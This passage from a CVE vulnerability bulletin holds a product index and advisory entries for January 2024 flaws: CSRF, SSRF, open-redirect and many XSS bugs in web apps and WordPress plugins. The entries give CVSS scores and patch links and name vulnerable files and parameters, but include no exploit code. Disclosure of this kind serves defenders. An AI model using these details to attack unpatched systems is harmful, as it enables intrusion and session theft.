	radeon_rx_5300_firmware	1682
	radeon_rx_5500m_firmware	1682
	radeon_rx_5500xt_firmware	1683
	radeon_rx_5500_firmware	1683
	radeon_rx_5600m_firmware	1683
	radeon_rx_5600xt_firmware	1684
	radeon_rx_5600_firmware	1684
	radeon_rx_5700m_firmware	1685
	radeon_rx_5700xt_firmware	1685
	radeon_rx_5700_firmware	1685
	radeon_rx_6800xt_firmware	1686
	radeon_rx_6800_firmware	1686
	radeon_rx_6900xt_firmware	1687
	radeon_rx_6950xt_firmware	1687
	radeon_rx_7600xt_firmware	1687
	radeon_rx_7600_firmware	1688
	radeon_rx_7700xt_firmware	1688
	radeon_rx_7800xt_firmware	1689
	radeon_rx_7900xtx_firmware	1689

Vendor	Product	Page Number
AMD	radeon_rx_7900xt_firmware	1689
	ryzen_3_3200ge_firmware	1690
	ryzen_3_3200g_firmware	1690
	ryzen_3_3200u_firmware	1691
	ryzen_3_3250c_firmware	1691
	ryzen_3_3250u_firmware	1691
	ryzen_3_4300ge_firmware	1692
	ryzen_3_4300g_firmware	1692
	ryzen_3_4300u_firmware	1693
	ryzen_3_5300ge_firmware	1693
	ryzen_3_5300g_firmware	1693
	ryzen_3_5300u_firmware	1694
	ryzen_3_7320u_firmware	1694
	ryzen_3_7335u_firmware	1695
	ryzen_3_7440u_firmware	1695
	ryzen_3_pro_3200ge_firmware	1695
	ryzen_3_pro_3200g_firmware	1696
	ryzen_5_3400g_firmware	1696
	ryzen_5_4500u_firmware	1697
	ryzen_5_4600ge_firmware	1697
	ryzen_5_4600g_firmware	1697
	ryzen_5_4600hs_firmware	1698
	ryzen_5_4600h_firmware	1698
	ryzen_5_4600u_firmware	1699
	ryzen_5_4680u_firmware	1699
	ryzen_5_5500gt_firmware	1699
	ryzen_5_5500u_firmware	1700
	ryzen_5_5600ge_firmware	1700
	ryzen_5_5600gt_firmware	1701
	ryzen_5_5600g_firmware	1701
	ryzen_5_6600hs_firmware	1701
	ryzen_5_6600h_firmware	1702

Vendor	Product	Page Number
AMD	ryzen_5_6600u_firmware	1702
	ryzen_5_7500f_firmware	1703
	ryzen_5_7520u_firmware	1703
	ryzen_5_7535hs_firmware	1703
	ryzen_5_7535u_firmware	1704
	ryzen_5_7600x_firmware	1704
	ryzen_5_7600_firmware	1705
	ryzen_5_7640h_firmware	1705
	ryzen_5_7645hx_firmware	1705
	ryzen_5_pro_3350ge_firmware	1706
	ryzen_5_pro_3350g_firmware	1706
	ryzen_5_pro_3400ge_firmware	1707
	ryzen_5_pro_3400g_firmware	1707
	ryzen_5_pro_7540u_firmware	1707
	ryzen_5_pro_7545u_firmware	1708
	ryzen_5_pro_7640hs_firmware	1708
	ryzen_5_pro_7640u_firmware	1709
	ryzen_5_pro_7645_firmware	1709
	ryzen_7_4700ge_firmware	1709
	ryzen_7_4700g_firmware	1710
	ryzen_7_4700u_firmware	1710
	ryzen_7_4800hs_firmware	1711
	ryzen_7_4800h_firmware	1711
	ryzen_7_4800u_firmware	1711
	ryzen_7_4980u_firmware	1712
	ryzen_7_5700ge_firmware	1712
	ryzen_7_5700g_firmware	1713
	ryzen_7_5700u_firmware	1713
	ryzen_7_6800hs_firmware	1713
	ryzen_7_6800h_firmware	1714
	ryzen_7_6800u_firmware	1714
	ryzen_7_7700x_firmware	1715

Vendor	Product	Page Number
AMD	ryzen_7_7700_firmware	1715
	ryzen_7_7735hs_firmware	1715
	ryzen_7_7735u_firmware	1716
	ryzen_7_7736u_firmware	1716
	ryzen_7_7745hx_firmware	1717
	ryzen_7_7800x3d_firmware	1717
	ryzen_7_7840h_firmware	1717
	ryzen_7_pro_7745_firmware	1718
	ryzen_7_pro_7840hs_firmware	1718
	ryzen_7_pro_7840u_firmware	1719
	ryzen_9_4900hs_firmware	1719
	ryzen_9_4900h_firmware	1719
	ryzen_9_6900hs_firmware	1720
	ryzen_9_6900hx_firmware	1720
	ryzen_9_6980hs_firmware	1721
	ryzen_9_6980hx_firmware	1721
	ryzen_9_7845hx_firmware	1721
	ryzen_9_7900x3d_firmware	1722
	ryzen_9_7900x_firmware	1722
	ryzen_9_7900_firmware	1723
	ryzen_9_7940h_firmware	1723
	ryzen_9_7945hx3d_firmware	1723
	ryzen_9_7945hx_firmware	1724
	ryzen_9_7950x3d_firmware	1724
	ryzen_9_7950x_firmware	1725
	ryzen_9_pro_7945hs_firmware	1725
	ryzen_9_pro_7945_firmware	1725
Apple	ipados	1726
	iphone_os	1738
	macos	1750
	safari	1768
	tvos	1770

Vendor	Product	Page Number
Apple	watchos	1775
biges	vg-255-bv_firmware	1781
	vg-255-df_firmware	1781
	vg-255a-bf_firmware	1782
	vg-4c1a-lrpu_firmware	1782
	vg-4c1a-lru_firmware	1783
	vg-4c1e-nvr_firmware	1783
	vg-64c8rd-nvr_firmware	1784
	vg-8c1a-lrpu_firmware	1784
	vg-8c1e-nvr_firmware	1785
byzoro	smart_s150_firmware	1785
	smart_s210_firmware	1787
cdebyte	e880-ir01_firmware	1788
Cisco	wap371_firmware	1788
commscope	arris_surfboard_sbg6950ac2_firmware	1789
contiki-ng	contiki-ng_tinydtls	1790
Crestron	am-300_firmware	1790
Debian	debian_linux	1791
Dlink	dap-1360_firmware	1797
	dap-1650_firmware	1798
	dir-1210_firmware	1799
	dir-1260_firmware	1801
	dir-2150_firmware	1802
	dir-300_firmware	1804
	dir-615gf_firmware	1805
	dir-615s_firmware	1807
	dir-615t_firmware	1808
	dir-615_firmware	1810
	dir-620s_firmware	1811
	dir-620_firmware	1813
	dir-806a_firmware	1814
	dir-815s_firmware	1816

Vendor	Product	Page Number
Dlink	dir-815\/ac_firmware	1817
	dir-815_firmware	1819
	dir-816_a2_firmware	1820
	dir-816_firmware	1821
	dir-820_firmware	1823
	dir-822_firmware	1824
	dir-825acf_firmware	1826
	dir-825acg1_firmware	1827
	dir-825ac_firmware	1829
	dir-825_firmware	1830
	dir-841_firmware	1832
	dir-842s_firmware	1833
	dir-842_firmware	1835
	dir-843_firmware	1836
	dir-853_firmware	1838
	dir-859_firmware	1839
	dir-878_firmware	1840
	dir-882_a1_firmware	1842
	dir-882_firmware	1842
	dir-x1530_firmware	1844
	dir-x1860_firmware	1845
	dsl-224_firmware	1847
	dsl-245gr_firmware	1848
	dsl-2640u_firmware	1850
	dsl-2750u_firmware	1851
	dsl-g2452gr_firmware	1853
	dvg-5402g\/gfru_firmware	1854
	dvg-5402g_firmware	1856
	dvg-n5402g\/il_firmware	1857
	dvg-n5402g_firmware	1859
	dwm-312w_firmware	1860
	dwm-321_firmware	1862

Vendor	Product	Page Number
Dlink	dwr-921_firmware	1863
	dwr-953_firmware	1865
	go-rt-ac750_firmware	1866
Edimax	br-6478ac_firmware	1866
elecom	wrc-x1800gs-b_firmware	1867
	wrc-x1800gsa-b_firmware	1868
	wrc-x1800gsh-b_firmware	1868
	wrc-x6000xs-g_firmware	1869
	wrc-x6000xst-g_firmware	1870
Fedoraproject	fedora	1871
Google	android	1886
hitron_systems	dvr_hvr-4781_firmware	1902
HP	hp-ux	1903
Huawei	emui	1905
	harmonyos	1917
	openeuler	1939
IBM	aix	1941
	linux_on_ibm_z	1944
Intel	nuc_7_essential_nuc7cjysamn_firmware	1948
	nuc_7_essential_pc_nuc7cjysal_firmware	1948
	nuc_8_compute_element_cm8v5cb_firmware	1949
	nuc_8_compute_element_cm8v7cb_firmware	1949
	nuc_8_enthusiast_nuc8i7behga_firmware	1949
	nuc_8_enthusiast_nuc8i7bekqa_firmware	1950
	nuc_8_home_nuc8i3behfa_firmware	1950
	nuc_8_home_nuc8i5behfa_firmware	1950
	nuc_8_home_nuc8i5bekpa_firmware	1951
	nuc_8_mainstream-g_kit_nuc8i5inh_firmware	1951
	nuc_8_mainstream-g_kit_nuc8i7inh_firmware	1952
	nuc_9_pro_compute_element_nuc9v7qnb_firmware	1953
	nuc_9_pro_kit_nuc9v7qnb_firmware	1953
	nuc_9_pro_kit_nuc9v7qnx_firmware	1953

Vendor	Product	Page Number
Intel	nuc_kit_nuc7cjyhn_firmware	1954
	nuc_kit_nuc7cjyh_firmware	1954
	nuc_kit_nuc7cjysal_firmware	1955
	nuc_kit_nuc7pjyhn_firmware	1955
	nuc_kit_nuc7pjyh_firmware	1956
	nuc_kit_nuc8i3behs_firmware	1957
	nuc_kit_nuc8i3beh_firmware	1957
	nuc_kit_nuc8i3bek_firmware	1957
	nuc_kit_nuc8i5behs_firmware	1958
	nuc_kit_nuc8i5beh_firmware	1958
	nuc_kit_nuc8i5bek_firmware	1958
	nuc_kit_nuc8i7beh_firmware	1959
	nuc_kit_nuc8i7bek_firmware	1959
	nuc_pro_compute_element_nuc9v7qnx_firmware	1959
Jensenofscandinavia	eagle_1200ac_firmware	1960
Juniper	junos	1960
Lantronix	xport_edge_firmware	1997
Lenovo	tab_m10_plus_gen_3_tb125fu_firmware	1998
	tab_m8_hd_tb8505fs_firmware	1998
	tab_m8_hd_tb8505f_firmware	1999
	tab_m8_hd_tb8505xs_firmware	2000
	tab_m8_hd_tb8505x_firmware	2000
	tab_p11_pro_gen_2_tb132fu_firmware	2001
Linux	linux_kernel	2001
meross	msh30q_firmware	2019
Microsoft	windows	2021
Motorola	mr2600_firmware	2033
netis-systems	mw5360_firmware	2035
Omron	cj1g-cpu42p_firmware	2035
	cj1g-cpu43p_firmware	2036
	cj1g-cpu44p_firmware	2037
	cj1g-cpu45p-gtc_firmware	2037

Vendor	Product	Page Number
Omron	cj1g-cpu45p_firmware	2038
	cj2h-cpu64-eip_firmware	2038
	cj2h-cpu64_firmware	2039
	cj2h-cpu65-eip_firmware	2039
	cj2h-cpu65_firmware	2040
	cj2h-cpu66-eip_firmware	2040
	cj2h-cpu66_firmware	2041
	cj2h-cpu67-eip_firmware	2041
	cj2h-cpu67_firmware	2042
	cj2h-cpu68-eip_firmware	2042
	cj2h-cpu68_firmware	2043
	cj2m-cpu11_firmware	2043
	cj2m-cpu12_firmware	2044
	cj2m-cpu13_firmware	2044
	cj2m-cpu14_firmware	2045
	cj2m-cpu15_firmware	2045
	cj2m-cpu31_firmware	2046
	cj2m-cpu32_firmware	2046
	cj2m-cpu33_firmware	2047
	cj2m-cpu34_firmware	2047
	cj2m-cpu35_firmware	2048
	cj2m-md211_firmware	2048
	cj2m-md212_firmware	2049
	cp1e-e_firmware	2049
	cp1e-n_firmware	2050
	cs1d-cpu42s_firmware	2050
	cs1d-cpu44s_firmware	2051
	cs1d-cpu65h_firmware	2051
	cs1d-cpu65p_firmware	2052
	cs1d-cpu65s_firmware	2052
	cs1d-cpu67h_firmware	2053
	cs1d-cpu67p_firmware	2053

Vendor	Product	Page Number
Omron	cs1d-cpu67s_firmware	2054
	cs1g-cpu42h_firmware	2055
	cs1g-cpu43h_firmware	2055
	cs1g-cpu44h_firmware	2056
	cs1g-cpu45h_firmware	2056
	cs1h-cpu63h_firmware	2057
	cs1h-cpu64h_firmware	2057
	cs1h-cpu65h_firmware	2058
	cs1h-cpu66h_firmware	2058
	cs1h-cpu67h_firmware	2059
Oracle	integrated_lights_out_manager_firmware	2059
	solaris	2063
Redhat	enterprise_linux	2065
	enterprise_linux_desktop	2082
	enterprise_linux_for_ibm_z_systems	2083
	enterprise_linux_for_power_big_endian	2084
	enterprise_linux_for_power_little_endian	2085
	enterprise_linux_for_scientific_computing	2086
	enterprise_linux_server	2087
	enterprise_linux_workstation	2089
se-elektronicgmbh	e-ddc3.3_firmware	2091
shelly	trv_firmware	2092
skyworthdigital	cm5100_firmware	2092
solax	pocket_wifi_3_firmware	2111
systemk-corp	nvr_504_firmware	2112
	nvr_508_firmware	2113
	nvr_516_firmware	2114
Technicolor	tc8715d_firmware	2114
Tenda	ac10u_firmware	2115
	i6_firmware	2116
	i9_firmware	2119
	w6_firmware	2120

Vendor	Product	Page Number
Tendacn	ac10u_firmware	2121
tenhot	tws-200_firmware	2129
totolink	a3300r_firmware	2130
	a3700r_firmware	2133
	a8000ru_firmware	2133
	lr1200gb_firmware	2134
	n200re-v5_firmware	2140
	n200re_firmware	2141
	n350rt_firmware	2147
	t8_firmware	2148
	x2000r_firmware	2150
	x6000r_firmware	2151
Tp-link	tapo_c200_firmware	2153
	tapo_tc70_firmware	2154
Trendnet	tew-411brpplus_firmware	2155
	tew-800mb_firmware	2156
	tew-815dap_firmware	2156
	tew-822dre_firmware	2157
	tew-824dru_firmware	2158
ubeeinteractive	ddw365_firmware	2159
uniview	isc_2500-s_firmware	2159
xantech	wic1200_firmware	2161
Yamaha	wlx202_firmware	2162
	wlx212_firmware	2163
	wlx222_firmware	2164
	wlx313_firmware	2165
	wlx413_firmware	2166

Common Vulnerabilities and Exposures (CVE) Report

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Application					
Vendor: 100296					
Product: qdbcrm					
Affected Version(s): 1.1.0					
Cross-Site Request Forgery (CSRF)	25-Jan-2024	8.8	A vulnerability was found in Qidianbang qdbcrm 1.1.0 and classified as problematic. Affected by this issue is some unknown functionality of the file /user/edit?id=2 of the component Password Reset. The manipulation leads to cross-site request forgery. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252032. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0880**	N/A	A-100-QDBC-130224/1
Vendor: 10n					
Product: borgchat					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): 1.0.0					
Improper Resource Shutdown or Release	25-Jan-2024	7.5	A vulnerability, which was classified as problematic, was found in BORGChat 1.0.0 Build 438. This affects an unknown part of the component Service Port 7551. The manipulation leads to denial of service. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252039. **CVE ID : CVE-2024-0888**	N/A	A-10N-BORG-130224/2
Vendor: 10web					
Product: form_maker					
Affected Version(s): * Up to (including) 1.15.21					
Cross-Site Request Forgery (CSRF)	27-Jan-2024	6.3	The Form Maker by 10Web – Mobile-Friendly Drag & Drop Contact Form Builder plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.15.21. This is due to	https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3027368%40form-maker&new=3027368%40form-maker&sfp_email=&sfph_mail=,	A-10W-FORM-130224/3

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			missing or incorrect nonce validation on the 'execute' function. This makes it possible for unauthenticated attackers to execute arbitrary methods in the 'BoosterController' class via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. **CVE ID : CVE-2024-0667**	https://www.wordfence.com/threat-intel/vulnerabilities/id/d55c832b-f558-4e8a-8301-33dd38d39ef1?source=cve	
Vendor: 3dprint_project					
Product: 3dprint					
Affected Version(s): * Up to (excluding) 3.5.6.9					
Cross-Site Request Forgery (CSRF)	16-Jan-2024	8.1	The 3dprint WordPress plugin before 3.5.6.9 does not protect against CSRF attacks in the modified version of Tiny File Manager included with the plugin, allowing an attacker to craft a malicious request that will delete any number of files or directories on the target server by tricking a logged in admin into submitting a form.	N/A	A-3DP-3DPR-130224/4

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-3899		
Vendor: 60indexpage_project					
Product: 60indexpage					
Affected Version(s): * Up to (excluding) 1.8.5					
Server-Side Request Forgery (SSRF)	26-Jan-2024	9.8	A vulnerability classified as critical has been found in 60IndexPage up to 1.8.5. This affects an unknown part of the file /include/file.php of the component Parameter Handler. The manipulation of the argument url leads to server-side request forgery. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-252189 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0945**	N/A	A-60I-60IN-130224/5
Server-Side Request	26-Jan-2024	9.8	A vulnerability classified as critical was found in 60IndexPage up to	N/A	A-60I-60IN-130224/6

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Forgery (SSRF)			1.8.5. This vulnerability affects unknown code of the file /apply/index.php of the component Parameter Handler. The manipulation of the argument url leads to server-side request forgery. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-252190 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0946**		
Vendor: abhinavsingh					
Product: wordpress_toolbar					
Affected Version(s): * Up to (including) 2.2.6					
URL Redirection to Untrusted Site ('Open Redirect')	29-Jan-2024	6.1	The WordPress Toolbar WordPress plugin through 2.2.6 redirects to any URL via the "wptbto" parameter. This makes it possible for	N/A	A-ABH-WORD-130224/7

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			unauthenticated attackers to redirect users to potentially malicious sites if they can successfully trick them into performing an action. **CVE ID : CVE-2023-6389**		
Vendor: abocms					
Product: abo.cms					
Affected Version(s): 5.9					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	6.1	A Cross-site scripting (XSS) vulnerability in login page php code in Armex ABO.CMS 5.9 allows remote attackers to inject arbitrary web script or HTML via the login.php? URL part. **CVE ID : CVE-2023-48858**	N/A	A-ABO-ABO.-130224/8
Affected Version(s): 5.9.3					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	6.1	Cross Site Scripting vulnerability in ABO.CMS v.5.9.3 allows an attacker to execute arbitrary code via a crafted payload to the Referer header. **CVE ID : CVE-2023-46952**	N/A	A-ABO-ABO.-130224/9

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Vendor: Adobe					
Product: experience_manager					
Affected Version(s): -					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	18-Jan-2024	5.4	Adobe Experience Manager versions 6.5.18 and earlier are affected by a reflected Cross-Site Scripting (XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser. **CVE ID : CVE-2023-51463**	https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html	A-ADO-EXPE-130224/10
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	18-Jan-2024	5.4	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse	https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html	A-ADO-EXPE-130224/11

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			to the page containing the vulnerable field. **CVE ID : CVE-2023-51464**		
Affected Version(s): * Up to (including) 6.5.18					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	18-Jan-2024	5.4	Adobe Experience Manager versions 6.5.18 and earlier are affected by a reflected Cross-Site Scripting (XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser. **CVE ID : CVE-2023-51463**	https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html	A-ADO-EXPE-130224/12
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	18-Jan-2024	5.4	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be	https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html	A-ADO-EXPE-130224/13

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			executed in a victim's browser when they browse to the page containing the vulnerable field. **CVE ID : CVE-2023-51464**		
Vendor: agence-press					
Product: css_adder					
Affected Version(s): * Up to (including) 1.5.0					
Server-Side Request Forgery (SSRF)	19-Jan-2024	9.8	Server-Side Request Forgery (SSRF) vulnerability in Montonio Montonio for WooCommerce, Wpopal Wpopal Core Features, AMO for WP – Membership Management ArcStone wp-amo, Long Watch Studio WooVirtualWallet – A virtual wallet for WooCommerce, Long Watch Studio WooVIP – Membership plugin for WordPress and WooCommerce, Long Watch Studio WooSupply – Suppliers, Supply Orders and Stock Management, Squidesma Theme Minifier, Paul Clark Styles styles, Designmodo Inc.	N/A	A-AGE-CSS_-130224/14

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			WordPress Page Builder – Qards, Philip M. Hofer (Frumph) PHPFreeChat, Arun Basil Lal Custom Login Admin Front-end CSS, Team Agence-Press CSS Adder By Agence-Press, Unihost Confirm Data, deano1987 AMP Toolbox amp-toolbox, Arun Basil Lal Admin CSS MU.This issue affects Montonio for WooCommerce: from n/a through 6.0.1; Wpopal Core Features: from n/a through 1.5.8; ArcStone: from n/a through 4.6.6; WooVirtualWallet – A virtual wallet for WooCommerce: from n/a through 2.2.1; WooVIP – Membership plugin for WordPress and WooCommerce: from n/a through 1.4.4; WooSupply – Suppliers, Supply Orders and Stock Management: from n/a through 1.2.2; Theme Minifier: from n/a through 2.0; Styles: from n/a through 1.2.3; WordPress Page		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Builder – Qards: from n/a through 1.0.5; PHPFreeChat: from n/a through 0.2.8; Custom Login Admin Front-end CSS: from n/a through 1.4.1; CSS Adder By Agence-Press: from n/a through 1.5.0; Confirm Data: from n/a through 1.0.7; AMP Toolbox: from n/a through 2.1.1; Admin CSS MU: from n/a through 2.6. **CVE ID : CVE-2022-40700**		
Vendor: ajaysharma					
Product: cups_easy					
Affected Version(s): 1.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/taxcodemodify.php, in multiple parameters.	N/A	A-AJA-CUPS-130224/15

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23855**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/itemlist.php, in the description parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23856**	N/A	A-AJA-CUPS-130224/16
Improper Neutralization of Input	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase &	N/A	A-AJA-CUPS-130224/17

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
During Web Page Generation ('Cross-site Scripting')			Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/grnlinecreate.php, in the batchno parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23857**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/stockissuancelinecreate.php, in the batchno parameter. Exploitation of this vulnerability could allow a remote	N/A	A-AJA-CUPS-130224/18

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23858**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/taxstructurelinecreate.php, in the flatamount parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23859**	N/A	A-AJA-CUPS-130224/19
Improper Neutralization of Input During	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version	N/A	A-AJA-CUPS-130224/20

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Web Page Generation ('Cross-site Scripting')			1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/currencylist.php, in the description parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23860**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/unitofmeasurementcreate.php, in the unitofmeasurementid parameter. Exploitation of this vulnerability could allow a remote	N/A	A-AJA-CUPS-130224/21

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23861**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/grndisplay.php, in the grnno parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23862**	N/A	A-AJA-CUPS-130224/22
Improper Neutralization of Input During Web Page Generation	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs	N/A	A-AJA-CUPS-130224/23

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Cross-site Scripting')			are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/taxstructuredisplay.php, in the description parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23863**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/countrylist.php, in the description parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted	N/A	A-AJA-CUPS-130224/24

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23864**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/taxstructurelist.php, in the description parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23865**	N/A	A-AJA-CUPS-130224/25
Improper Neutralization of Input During Web Page Generation	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently	N/A	A-AJA-CUPS-130224/26

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Cross-site Scripting')			encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/countrycreate.php, in the countryid parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23866**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/statecreate.php, in the stateid parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their	N/A	A-AJA-CUPS-130224/27

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			session cookie credentials. **CVE ID : CVE-2024-23867**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/grnlist.php, in the deleted parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23868**	N/A	A-AJA-CUPS-130224/28
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	26-Jan-2024	6.1	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via	N/A	A-AJA-CUPS-130224/29

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/cupseasylive/stockissuanceprint.php, in the issuanceno parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials. **CVE ID : CVE-2024-23869**		
